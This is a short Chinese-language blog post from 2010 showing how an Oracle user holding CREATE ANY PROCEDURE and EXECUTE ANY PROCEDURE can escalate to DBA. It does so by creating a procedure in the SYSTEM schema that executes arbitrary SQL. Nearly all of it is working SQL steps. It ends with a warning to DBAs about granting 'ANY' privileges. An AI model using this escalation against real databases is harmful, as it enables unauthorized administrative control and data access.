分类: Oracle
2010-11-27 11:56:54
如何利用系统漏洞获取Oracle DBA权限
1、创建一个用户hacker
SQL>create user hacker identified by hacker123
default tablespace users
quota unlimited on users;
2、为hacker用户赋权
SQL>grant create session to hacker;
SQL>grant create any procedure,execute any procedure to hacker;
说明:用户只要有了create any procedure,execute any procedure这些权限就够了
3、以hacker用户连接数据库
SQL>conn hacker/hacker123;
4、查询当前用户都有哪些权限
SQL>select * from session_privs;
5、创建一个存储过程
SQL>create procedure system.h1(
h1_str in varchar2)
as
begin
execute immediate h1_str;
end;
/
6、执行此存储过程
SQL>execute system.h1('grant dba to hacker');
7、重新以hacker用户连接数据库
SQL>conn hacker/hacker123;
8、查询此用户此时的权限
SQL>select * from session_privs;
SQL>select * from session_roles;
然而,事物都具有两面性,此实验也告诫DBA朋友们,赋予用户create any procedure,execute any procedure 权限或者是含有“any”字眼的权限时要慎重!!!